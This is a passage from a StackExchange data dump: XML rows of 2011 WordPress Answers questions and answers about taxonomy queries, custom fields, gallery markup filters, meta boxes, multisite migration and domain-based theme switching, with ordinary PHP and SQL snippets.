know&lt;/p&gt;&#xA;" OwnerUserId="2921" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-26T13:09:56.847" LastActivityDate="2011-02-26T13:09:56.847" Title="How do I combine my shortcodes?" Tags="&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="10522" PostTypeId="1" AcceptedAnswerId="10525" CreationDate="2011-02-26T10:03:47.083" Score="0" ViewCount="127" Body="&lt;p&gt;I have custom post type (entertainment) and I set up a taxonomy (review) as hierarchal so there are check boxes under the taxonomy. Most of the post in the entertainment are just post but we also have reviews. What I was hoping is that if it's a review then you can just check what type of review in the review taxonomy box, an example is &quot;movie&quot;. I am trying to display the latest review using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array('tax_query' =&amp;gt; array(array('taxonomy' =&amp;gt; 'review','field' =&amp;gt; 'slug','term' =&amp;gt; 'movie')), 'posts_per_page'=&amp;gt;'1', 'caller_get_posts'=&amp;gt;'1') ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's showing the latest post and not the one selected as movie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on WP 3.1&lt;/p&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-02-26T18:52:22.760" Title="Display latest post of taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="10523" PostTypeId="1" AcceptedAnswerId="10530" CreationDate="2011-02-26T10:10:06.290" Score="0" ViewCount="123" Body="&lt;p&gt;I have just made a big mistake today using a plugin to convert my 1000+ price custom fields into child categories under Price.  I didn't know the custom fields will be deleted after the conversion.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prices are still attach to their respective posts and I'll really appreciate it if somebody can help me with sql query to copy the values back to the price custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my function.php including your code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get all categories ID's in to array&#xA;$args = array( 'child_of'  =&amp;gt;3678);&#xA;$categories = get_categories( $args );&#xA;$cat_array = array();&#xA;foreach ($categories as $category) {&#xA;    $cat_array[] = $category-&amp;gt;term_id;&#xA;  }&#xA;&#xA;$Query_args = array(&#xA;    'category__in' =&amp;gt;$cat_array );&#xA;$new_query = new WP_Query();&#xA;$new_query-&amp;gt;query($Query_args);&#xA;if ($new_query-&amp;gt;have_posts()){&#xA;    while ($new_query-&amp;gt;have_posts()){&#xA;        $new_query-&amp;gt;the_post();&#xA;        foreach((get_the_category()) as $category) { &#xA;            if (in_array($category-&amp;gt;cat_ID,$cat_array){&#xA;                update_post_meta($post_id, 'price', $category-&amp;gt;cat_name);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;&#xA;/*************************************************************&#xA;* Do not modify unless you know what you're doing, SERIOUSLY!&#xA;*************************************************************/&#xA;&#xA;/* Admin framework version 2.0 by Zeljan Topic */&#xA;&#xA;// Theme variables&#xA;require_once (TEMPLATEPATH . '/library/functions/theme_variables.php');&#xA;&#xA;//** ADMINISTRATION FILES **//&#xA;&#xA;// Theme admin functions&#xA;require_once ($functions_path . 'admin_functions.php');&#xA;&#xA;// Theme admin options&#xA;require_once ($functions_path . 'admin_options.php');&#xA;&#xA;// Theme admin Settings&#xA;require_once ($functions_path . 'admin_settings.php');&#xA;&#xA;&#xA;&#xA;//** FRONT-END FILES **//&#xA;&#xA;// Widgets&#xA;require_once ($functions_path . 'widgets_functions.php');&#xA;&#xA;// Comments&#xA;require_once ($functions_path . 'comments_functions.php');&#xA;&#xA;// Yoast's plugins&#xA;require_once ($functions_path . 'yoast-breadcrumbs.php');&#xA;&#xA;require_once ($functions_path . 'yoast-posts.php');&#xA;&#xA;//require_once ($functions_path . 'yoast-canonical.php');&#xA;&#xA;require_once ($functions_path . 'yoast-breadcrumbs.php');&#xA;&#xA;/////////shopping cart new function files&#xA;require($functions_path . &quot;general_functions.php&quot;);&#xA;require($functions_path . &quot;cart.php&quot;);&#xA;require($functions_path . &quot;product.php&quot;);&#xA;require($functions_path . &quot;custom.php&quot;);&#xA;require(TEMPLATEPATH . &quot;/product_menu.php&quot;);&#xA;// Custom&#xA;require_once ($functions_path . 'custom_functions.php');&#xA;&#xA;///message - language file&#xA;require(TEMPLATEPATH . &quot;/message.php&quot;);&#xA;if('themes.php' == basename($_SERVER['SCRIPT_FILENAME'])  &amp;amp;&amp;amp; $_REQUEST['page']=='') &#xA;{&#xA;    if($_REQUEST['dummy']=='del')&#xA;    {&#xA;        delete_dummy_data();    &#xA;        echo THEME_DUMMY_DELETE_MESSAGE;&#xA;    }&#xA;    $post_counts = $wpdb-&amp;gt;get_var(&quot;select count(post_id) from $wpdb-&amp;gt;postmeta where meta_key='pt_dummy_content'&quot;);&#xA;    if(($_REQUEST['template']=='' &amp;amp;&amp;amp; $post_counts&amp;gt;0 &amp;amp;&amp;amp; $_REQUEST['page']=='') || $_REQUEST['activated']=='true')&#xA;    {&#xA;        echo THEME_ACTIVE_MESSAGE;&#xA;    }&#xA;    if($_REQUEST['activated'])&#xA;    {&#xA;        require_once (TEMPLATEPATH . '/auto_install.php');&#xA;    }&#xA;}&#xA;&#xA;function delete_dummy_data()&#xA;{&#xA;    global $wpdb;&#xA;    $productArray = array();&#xA;    $pids_sql = &quot;select p.ID from $wpdb-&amp;gt;posts p join $wpdb-&amp;gt;postmeta pm on pm.post_id=p.ID where meta_key='pt_dummy_content' and meta_value=1&quot;;&#xA;    $pids_info = $wpdb-&amp;gt;get_results($pids_sql);&#xA;    foreach($pids_info as $pids_info_obj)&#xA;    {&#xA;        wp_delete_post($pids_info_obj-&amp;gt;ID);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-27T14:03:13.577" LastActivityDate="2011-02-27T14:08:50.670" Title="Copy price categories to custom field" Tags="&lt;custom-field&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="10524" PostTypeId="1" AcceptedAnswerId="10526" CreationDate="2011-02-26T10:30:52.457" Score="1" ViewCount="423" Body="&lt;p&gt;hey guys,&#xA;i really need your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I use a gallery in wordpress and set it's columns to just 1 Wordpress automatically adds &lt;code&gt;&amp;lt;br style=&quot;clear: both&quot;/&amp;gt;&lt;/code&gt; after every &lt;code&gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&lt;/code&gt;. I really need to prevent this behaviour and therefore I'd like to add a filter to my functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following to examples don't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_gallery', 'remove_br_gallery', 9);&#xA;&#xA;function remove_br_gallery($output) {&#xA;&#xA;    return preg_replace('#\&amp;lt;br*.?\&amp;gt;#is', '',  $output);&#xA;&#xA;}  &#xA;&#xA;&#xA;add_filter( 'the_content', 'remove_br_gallery', 9);&#xA;&#xA;function remove_br_gallery($output) {&#xA;&#xA;    return preg_replace('#\&amp;lt;br*.?\&amp;gt;#is', '',  $output);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Neither does this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return str_replace('&amp;lt;br style=&quot;clear: both&quot;&amp;gt;', '',  $output);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how I could solve that? I just don't want to have any &lt;code&gt;&amp;lt;br style=&quot;clear: both&quot;/&amp;gt;&lt;/code&gt; inside of my galleries.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-02-26T10:39:35.380" LastActivityDate="2011-02-26T13:26:24.487" Title="add_filter to post-gallery and remove all &lt;br&gt;'s?" Tags="&lt;php&gt;&lt;functions&gt;&lt;filters&gt;" AnswerCount="3" />
  <row Id="10525" PostTypeId="2" ParentId="10522" CreationDate="2011-02-26T10:42:35.477" Score="1" ViewCount="" Body="&lt;p&gt;You can do a straight query for the taxonomy term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'review' =&amp;gt; 'movie' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To query multiple terms you can use tax_query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'tax_query' =&amp;gt;     array(&#xA;            'taxonomy' =&amp;gt; 'review',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( 'movie', 'term', 'term' ),&#xA;        ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-02-26T18:52:22.760" LastActivityDate="2011-02-26T18:52:22.760" CommentCount="4" />
  <row Id="10526" PostTypeId="2" ParentId="10524" CreationDate="2011-02-26T10:44:53.020" Score="1" ViewCount="" Body="&lt;p&gt;EDIT:&#xA;you must call your filter after the shortcode is processed, giving it priority &gt; 10,  and you must match on a multiline expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this work with my installation and using the standard gallery shortag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'remove_br_gallery', 11, 2);&#xA;function remove_br_gallery($output) {&#xA;    return preg_replace('/&amp;lt;br style=(.*)&amp;gt;/mi','',$output);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-26T12:04:53.993" LastActivityDate="2011-02-26T12:04:53.993" CommentCount="8" />
  <row Id="10527" PostTypeId="2" ParentId="10520" CreationDate="2011-02-26T11:23:45.613" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;current_time('mysql')&lt;/code&gt; instead of &lt;code&gt;time()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;time()&lt;/code&gt; returns a unix timestamp (that is an integer), &lt;code&gt;current_time('mysql')&lt;/code&gt; returns a mysql timestamp.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-26T11:23:45.613" CommentCount="2" />
  <row Id="10528" PostTypeId="2" ParentId="10521" CreationDate="2011-02-26T11:32:43.200" Score="3" ViewCount="" Body="&lt;p&gt;Change &lt;code&gt;st_paragraph()&lt;/code&gt; to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function st_paragraph( $atts, $content = null ) {&#xA;    return '&amp;lt;p class=&quot;first-paragraph&quot;&amp;gt;'.do_shortcode($content).'&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API#Enclosing_vs_self-closing_shortcodes&quot; rel=&quot;nofollow&quot;&gt;Codex documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-26T11:32:43.200" />
  <row Id="10529" PostTypeId="2" ParentId="10524" CreationDate="2011-02-26T11:55:55.130" Score="1" ViewCount="" Body="&lt;p&gt;Or, alternatively, you could try disabling the effect of the &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt;'s via a stylesheet override, for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;body dl.gallery-item + br { display: none; }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-26T11:55:55.130" CommentCount="1" />
  <row Id="10530" PostTypeId="2" ParentId="10523" CreationDate="2011-02-26T11:59:42.130" Score="0" ViewCount="" Body="&lt;p&gt;paste this code in you theme's function.php file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get all categorie ID's in to array&#xA;$args = array( 'child_of'  =&amp;gt; 3678); // Parent category ID&#xA;$categories = get_categories( $args );&#xA;$cat_array = array();&#xA;foreach ($categories as $category) {&#xA;    $cat_array[] = $category-&amp;gt;term_id;&#xA;  }&#xA;&#xA;$Query_args = array(&#xA;    'category__in' =&amp;gt;$cat_array );&#xA;$new_query = new WP_Query();&#xA;$new_query-&amp;gt;query($Query_args);&#xA;if ($new_query-&amp;gt;have_posts()){&#xA;    while ($new_query-&amp;gt;have_posts()){&#xA;        $new_query-&amp;gt;the_post();&#xA;        foreach((get_the_category()) as $category) { &#xA;            if (in_array($category-&amp;gt;cat_ID,$cat_array)){&#xA;                update_post_meta($post_id, 'price', $category-&amp;gt;cat_name);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace &quot;Parent category ID&quot; with price category ID and then save that file&#xA;after that remove this code and save again.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-27T14:08:50.670" LastActivityDate="2011-02-27T14:08:50.670" CommentCount="10" />
  <row Id="10531" PostTypeId="2" ParentId="10520" CreationDate="2011-02-26T12:15:07.150" Score="1" ViewCount="" Body="&lt;p&gt;Second try: ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pre_get_posts&lt;/code&gt; runs AFTER &lt;code&gt;parse_query()&lt;/code&gt;. &lt;code&gt;parse_query()&lt;/code&gt; transforms 'meta_key' etc. into 'meta_query'. &lt;code&gt;get_posts()&lt;/code&gt; doesn't seem to react on 'meta_key' etc. directly. So try adding &lt;code&gt;$query-&amp;gt;parse_query()&lt;/code&gt; after your &lt;code&gt;$query-&amp;gt;set()&lt;/code&gt; calls or use filter that runs before &lt;code&gt;parse_query&lt;/code&gt; (edited, the &lt;code&gt;parse_query()&lt;/code&gt; filter doesn't work, either - it runs too late).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: to do the switch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_timeswitch() {&#xA;    $operators = array(&#xA;        '&amp;gt;=' =&amp;gt; 'future',&#xA;        '&amp;lt;=' =&amp;gt; 'past'&#xA;    );&#xA;    ?&amp;gt;&#xA;    &amp;lt;select name='meta_compare'&amp;gt;&#xA;        &amp;lt;?php&#xA;            foreach ($operators as $k =&amp;gt; $v) {&#xA;                printf( &quot;&amp;lt;option %s value='%s'&amp;gt;%s&amp;lt;/option&amp;gt;\n&quot;, selected($_GET['meta_compare'], $k, false), esc_attr($k), __($v));&#xA;            }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;add_action('restrict_manage_posts', 'my_timeswitch');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may work just on it's own. If not, you'll have to change the name to something else, then register a new public query variable via the &lt;code&gt;query_vars&lt;/code&gt; filter and then react on it via the &lt;code&gt;parse_query&lt;/code&gt; filter.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-27T06:43:12.993" LastActivityDate="2011-02-27T06:43:12.993" CommentCount="13" />
  <row Id="10532" PostTypeId="2" ParentId="10524" CreationDate="2011-02-26T13:26:24.487" Score="0" ViewCount="" Body="&lt;p&gt;You can use Justin Tadlock's &lt;a href=&quot;http://wordpress.org/extend/plugins/cleaner-gallery/&quot; rel=&quot;nofollow&quot;&gt;Cleaner Gallery&lt;/a&gt; plugin to get clean markup.&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-02-26T13:26:24.487" />
  <row Id="10533" PostTypeId="2" ParentId="8219" CreationDate="2011-02-26T13:43:30.100" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/1363783/mysql-and-wordpress-query-syntax&quot;&gt;http://stackoverflow.com/questions/1363783/mysql-and-wordpress-query-syntax&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2011-02-26T13:43:30.100" CommentCount="2" />
  <row Id="10534" PostTypeId="1" AcceptedAnswerId="10585" CreationDate="2011-02-26T13:49:32.897" Score="0" ViewCount="295" Body="&lt;p&gt;I have a custom meta box attached to a post type that displays ways for customers to submit new ideas. Customers are supposed to summarize their idea in 30 characters or less, which seems like a good use for post_excerpt. I'm not great with php (still learning) so any help with getting the echo statement right would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my custom meta box as it stands. For simplicity I have stripped away everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post excerpt will display in the meta box but any edits will not save there. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function idea_information() {&#xA;    global $post;&#xA;&#xA;    // Noncename needed to verify where the data originated&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;ideameta_noncename&quot; id=&quot;ideameta_noncename&quot; value=&quot;' .&#xA;    wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&#xA;    // Get the location data if its already been entered&#xA;    $quicknote = get_post_meta($post-&amp;gt;ID, '_ideas_quicknote', true);&#xA;&#xA;&#xA;    // Echo out the fields&#xA;    echo '&amp;lt;h3&amp;gt;Basics&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;excerpt&quot; id=&quot;excerpt&quot; value=&quot;' . $post-&amp;gt;post_excerpt  . '&quot;/&amp;gt;';&#xA;&#xA;}&#xA;&#xA;// Save the Metabox Data&#xA;&#xA;function whiteout_save_idea_meta($post_id, $post) {&#xA;&#xA;    // verify this came from the our screen and with proper authorization,&#xA;    // because save_post can be triggered at other times&#xA;    if ( !wp_verify_nonce( $_POST['ideameta_noncename'], plugin_basename(__FILE__) )) {&#xA;    return $post-&amp;gt;ID;&#xA;    }&#xA;&#xA;    // Is the user allowed to edit the post or page?&#xA;    if ( !current_user_can( 'edit_post', $post-&amp;gt;ID ))&#xA;        return $post-&amp;gt;ID;&#xA;&#xA;    // OK, we're authenticated: we need to find and save the data&#xA;    // We'll put it into an array to make it easier to loop though.&#xA;    $station_meta['_ideas_quicknote'] = $_POST['_ideas_quicknote'];&#xA;&#xA;    // Add values of $station_meta as custom fields&#xA;&#xA;    foreach ($station_meta as $key =&amp;gt; $value) { // Cycle through the $station_meta array!&#xA;        if( $post-&amp;gt;post_type == 'revision' ) return; // Don't store custom data twice&#xA;        $value = implode(',', (array)$value); // If $value is an array, make it a CSV (unlikely)&#xA;        if(get_post_meta($post-&amp;gt;ID, $key, FALSE)) { // If the custom field already has a value&#xA;            update_post_meta($post-&amp;gt;ID, $key, $value);&#xA;        } else { // If the custom field doesn't have a value&#xA;            add_post_meta($post-&amp;gt;ID, $key, $value);&#xA;        }&#xA;        if(!$value) delete_post_meta($post-&amp;gt;ID, $key); // Delete if blank&#xA;    }&#xA;&#xA;}&#xA;&#xA;add_action('save_post', 'whiteout_save_idea_meta', 1, 2); // save the custom fields&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related posts: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4906/replace-the-post-excerpt-meta-box-with-a-field-in-my-custom-meta-box&quot;&gt;Replace the Post Excerpt Meta Box with a Field in My Custom Meta Box&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-02-28T02:08:33.320" Title="Post excerpt in custom meta box... help with proper php format" Tags="&lt;excerpt&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="10535" PostTypeId="2" ParentId="10467" CreationDate="2011-02-26T14:09:03.717" Score="0" ViewCount="" Body="&lt;p&gt;Setup &lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.2&quot; rel=&quot;nofollow&quot;&gt;301: Moved Permanently&lt;/a&gt; redirects! &lt;a href=&quot;http://yoast.com/move-wordpress-blog-domain-10-steps/&quot; rel=&quot;nofollow&quot;&gt;This post&lt;/a&gt; should be helpful &lt;/p&gt;&#xA;" OwnerUserId="3531" LastActivityDate="2011-02-26T14:09:03.717" CommentCount="1" />
  <row Id="10536" PostTypeId="1" CreationDate="2011-02-26T14:14:35.503" Score="0" ViewCount="60" Body="&lt;p&gt;I'm inserting a video via a custom field and I noticed I get a p tag along with my iframe. Is there a way to remove any formatting inserted along with my custom field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-26T14:14:35.503" Title="Remove Formatting From Custom Field" Tags="&lt;3.0.1&gt;&lt;customization&gt;&lt;custom-field&gt;" CommentCount="1" />
  <row Id="10537" PostTypeId="1" AcceptedAnswerId="10565" CreationDate="2011-02-26T15:47:14.370" Score="3" ViewCount="1415" Body="&lt;p&gt;I've found this to display the current name of the file used in template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_template_name () {&#xA;    foreach ( debug_backtrace() as $called_file ) {&#xA;        foreach ( $called_file as $index ) {&#xA;            if ( !is_array($index[0]) AND strstr($index[0],'/themes/') AND !strstr($index[0],'footer.php') ) {&#xA;                $template_file = $index[0] ;&#xA;            }&#xA;        }&#xA;    }&#xA;    $template_contents = file_get_contents($template_file) ;&#xA;    preg_match_all(&quot;Template Name:(.*)\n)siU&quot;,$template_contents,$template_name);&#xA;    $template_name = trim($template_name[1][0]);&#xA;    if ( !$template_name ) { $template_name = '(default)' ; }&#xA;    $template_file = array_pop(explode('/themes/', basename($template_file)));&#xA;    return $template_file . ' &amp;gt; '. $template_name ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://wordpress.org/support/topic/get-name-of-page-template-on-a-page&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/get-name-of-page-template-on-a-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works quite well, except that in backend, in the template select box, I get this ugly extra entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/361q221Q0n0f1g473R3l&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/361q221Q0n0f1g473R3l&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody has idea how to fix it? I don't even know why this function is called in backend (is there a conditional function likie &lt;code&gt;is_frontend()&lt;/code&gt; - maybe this would solve the problem).&lt;/p&gt;&#xA;" OwnerUserId="1244" LastActivityDate="2011-04-09T16:25:16.647" Title="get name of the current template file" Tags="&lt;template&gt;" AnswerCount="5" CommentCount="6" FavoriteCount="1" />
  <row Id="10538" PostTypeId="1" CreationDate="2011-02-26T15:58:44.097" Score="0" ViewCount="168" Body="&lt;p&gt;I'd like to migrate some quite huge Wordpress-Blogs into one Multisite Installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Export-Wizard and the Import Wizard are bound to PHP-Limits (Memory, Execution-Time) and so the Export and Import often fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a way to do it by hand (only using MySQL and or the command line). &lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2011-04-27T17:57:24.427" Title="How to migrate Wordpress Blogs into Multisite without using the GUI-Import/Export Feature" Tags="&lt;multisite&gt;&lt;import&gt;&lt;migration&gt;&lt;export&gt;" AnswerCount="2" />
  <row Id="10539" PostTypeId="2" ParentId="10505" CreationDate="2011-02-26T16:09:25.973" Score="3" ViewCount="" Body="&lt;p&gt;Why not use the &lt;code&gt;SELECT INTO OUTFILE&lt;/code&gt; syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;query(&quot;SELECT * INTO OUTFILE '/path/to/file' &#xA; FIELDS TERMINATED BY '\t' &#xA; LINES TERMINATED BY '\n' &#xA; FROM tracking&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-02-26T16:09:25.973" />
  <row Id="10540" PostTypeId="2" ParentId="10538" CreationDate="2011-02-26T16:25:56.493" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://bavatuesdays.com/importing-a-single-wp-blog-to-a-wpmu-installation/&quot; rel=&quot;nofollow&quot;&gt;http://bavatuesdays.com/importing-a-single-wp-blog-to-a-wpmu-installation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sillybean.net/wordpress/migrating-single-wordpress-installations-into-multisite-networks/&quot; rel=&quot;nofollow&quot;&gt;http://sillybean.net/wordpress/migrating-single-wordpress-installations-into-multisite-networks/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-27T17:57:24.427" LastActivityDate="2011-04-27T17:57:24.427" CommentCount="1" />
  <row Id="10541" PostTypeId="2" ParentId="10478" CreationDate="2011-02-26T16:32:59.807" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user1893:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of ways you can achieve what you asked for but the latter is what I'd recommend:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Set up a copy of the site&lt;/strong&gt; in a different directory and using your web host's control panel map the different domains to the appropriate directories. Use the same &lt;code&gt;DB_NAME&lt;/code&gt;/&lt;code&gt;DB_USER&lt;/code&gt;/&lt;code&gt;DB_PASSWORD&lt;/code&gt;/&lt;code&gt;DB_HOST&lt;/code&gt; in the &lt;code&gt;/wp-config.php&lt;/code&gt; file for each of your sites but include &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;different defines for &lt;code&gt;WP_HOME&lt;/code&gt; and &lt;code&gt;WP_SITEURL&lt;/code&gt;&lt;/a&gt; in each file. You might run into a few glitches but I think you can work through them by asking more questions here on WordPress Answers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use one site with two different themes&lt;/strong&gt;, add logic in &lt;code&gt;/wp-config.php&lt;/code&gt; to recognize the different domains, and various hooks you might need to get things to behave as you want especially including one to load the right theme. What follows is &lt;em&gt;(some of?)&lt;/em&gt; the code you'll need for option #2. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Using One Site with Two Different Themes:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This code goes in your &lt;code&gt;/wp-config.php&lt;/code&gt; file anywhere before &lt;code&gt;require_once(ABSPATH . 'wp-settings.php');&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this_domain = $_SERVER['SERVER_NAME'];&#xA;switch ($this_domain) {&#xA;  case: 'www.savingsulove.com':&#xA;  case: 'www.savings4biz.com': // I made up this domain to enable this example              &#xA;    define('WP_HOME',&quot;http://{$this_domain}&quot;);&#xA;    define('WP_SITEURL',&quot;http://{$this_domain}&quot;);&#xA;  default:&#xA;    echo 'Invalid domain';&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to switch the theme based on the domain use the &lt;code&gt;template&lt;/code&gt; hook with the logic below. Probably the best place to put this code would be in a &lt;em&gt;&quot;Must Use&quot;&lt;/em&gt; plugin; i.e. put the following into &lt;code&gt;/wp-content/mu-plugins/savingsulove-theme-switcher.php&lt;/code&gt;.  This code assumes you've got two themes in the respective subdirectories &lt;code&gt;/wp-content/themes/savingsulove/&lt;/code&gt; and &lt;code&gt;/wp-content/themes/savings4biz/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;File Name: savingsulove-theme-switcher.php&#xA;Plugin Name: Switch the Theme Based on Domain&#xA;*/&#xA;add_action('template','savingsulove_template');&#xA;function savingsulove_template($template) {&#xA;  if ($_SERVER['SERVER_NAME']=='www.savingsulove.com')&#xA;    $template = 'savingsulove';&#xA;  else&#xA;    $template = 'savings4biz';&#xA;  return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Beyond that, you can add any other shared code as a &lt;em&gt;&quot;Must Use&quot;&lt;/em&gt; plugin like above &lt;em&gt;(or just add more code to the &lt;code&gt;savingsulove-theme-switcher.php&lt;/code&gt; file)&lt;/em&gt; where you just inspect the value in &lt;code&gt;$_SERVER['SERVER_NAME']&lt;/code&gt; to decide what to do.  If you need help with any additional aspects that might occur, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/ask&quot;&gt;&lt;strong&gt;just ask another question here&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(as opposed to adding follow up questions in the comments on this page after this question has been answered.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. There are more maintenance-free ways I could have written the above code but then it would have been more obscure and harder for a reader new to the techniques to follow what I was doing.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-26T16:45:56.427" LastActivityDate="2011-02-26T16:45:56.427" 